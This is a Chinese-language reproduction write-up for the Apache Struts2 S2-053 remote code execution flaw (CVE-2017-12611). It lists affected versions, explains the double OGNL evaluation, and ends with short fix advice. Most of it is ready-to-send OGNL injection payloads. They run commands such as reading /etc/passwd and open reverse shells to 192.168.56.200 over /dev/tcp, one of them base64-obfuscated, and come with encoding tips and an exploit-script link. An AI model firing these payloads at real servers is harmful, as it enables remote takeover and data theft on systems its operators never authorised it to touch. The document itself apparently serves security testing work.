漏洞名称

S2-053 CVE-2017-12611 远程代码执行

利用条件

Struts 2.0.0 - 2.3.33

Struts 2.5 - Struts 2.5.10.1

漏洞原理

Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。

漏洞利用

漏洞检测

简单测试 %{10+10}

image-20230111102317043

命令执行

poc1

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#context.setMemberAccess(#dm)))).(#cmds=({'/bin/bash','-c','cat /etc/passwd'})).(#p=new+java.lang.ProcessBuilder(#cmds)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

使用在线encodeURI编码工具进行编码

URL在线编码解码|encodeURIComponent在线转换|encodeURI在线转换|decodeURIComponent在线转换|decodeURI在线转换|GEEKAPP开发者在线工具

注意:在poc最后要存在至少一个空行 (post发包特性)

image-20230111104833230

poc2

适用于windows,linux

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

使用burp将特殊字符编码后或者在线URLEncode编码,URLDecode解码工具 - UU在线工具 (uutool.cn)编码后发送

注意:在poc最后要存在至少一个空行 (post发包特性)

image-20230111103016949

反弹shell

poc1反弹shell

/bin/bash -i >& /dev/tcp/192.168.56.200/1234 0>&1
{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}

进行将反弹命令base64编码后带入表达式

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#context.setMemberAccess(#dm)))).(#cmds=({'/bin/bash','-c','{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}'})).(#p=new+java.lang.ProcessBuilder(#cmds)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

image-20230111111057242

image-20230111112100862

poc2反弹shell

bash -i >& /dev/tcp/192.168.56.200/1234 0>&1
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.56.200/1234 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

image-20230111105251582

image-20230111105314342

EXP脚本

https://github.com/Closerset/S2-053-EXP

命令执行

image-20230111113422783

反弹shell

image-20230111113443039

image-20230111113458220

修复建议

  1. 开发人员应避免在Freemarker的结构代码中使用可写的属性,或者使用只读属性来初始化value属性(仅限getter属性)。

  2. 升级到最新版

参考文章

https://cwiki.apache.org/confluence/display/WW/S2-053

https://blog.csdn.net/Jerry____/article/details/103609286